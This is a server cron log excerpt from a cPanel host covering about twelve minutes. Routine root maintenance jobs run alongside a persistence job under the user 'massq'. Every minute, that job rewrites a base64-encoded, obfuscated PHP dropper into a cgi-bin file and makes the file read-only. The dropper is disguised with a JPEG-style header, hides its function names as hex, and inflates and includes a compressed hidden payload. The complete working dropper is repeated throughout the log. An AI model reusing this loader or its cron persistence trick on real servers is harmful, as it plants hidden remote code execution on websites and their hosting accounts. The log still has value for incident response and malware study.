Sep  9 07:01:01 server run-parts(/etc/cron.hourly)[15702]: finished 0anacron
Sep  9 07:02:01 server CROND[16054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:02:01 server CROND[16057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:02:01 server CROND[16056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:03:01 server CROND[16436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:03:01 server CROND[16438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:03:01 server CROND[16439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:04:01 server CROND[16806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:04:01 server CROND[16807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:04:01 server CROND[16808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:05:01 server CROND[17287]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:05:01 server CROND[17288]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 07:05:01 server CROND[17302]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 07:05:01 server CROND[17300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:05:01 server CROND[17298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:05:01 server CROND[17297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:05:01 server CROND[17299]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:05:01 server CROND[17301]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 07:06:01 server CROND[18174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:06:01 server CROND[18173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:06:01 server CROND[18175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:07:01 server CROND[18554]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:07:01 server CROND[18555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:07:01 server CROND[18556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:08:01 server CROND[19003]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:08:01 server CROND[19002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:08:01 server CROND[19004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:09:01 server CROND[19376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:09:01 server CROND[19377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:09:01 server CROND[19378]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 07:09:01 server CROND[19379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:10:01 server CROND[19861]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 07:10:01 server CROND[19864]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:10:01 server CROND[19865]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 07:10:01 server CROND[19871]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 07:10:01 server CROND[19874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:10:01 server CROND[19872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:10:01 server CROND[19876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:10:01 server CROND[19877]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:11:01 server CROND[20693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:11:01 server CROND[20694]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:11:01 server CROND[20695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:12:01 server CROND[21056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:12:01 server CROND[21055]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 07:12:01 server CROND[21057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:12:01 server CROND[21058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:13:01 server CROND[21419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:13:01 server CROND[21420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:13:01 server CROND[21421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
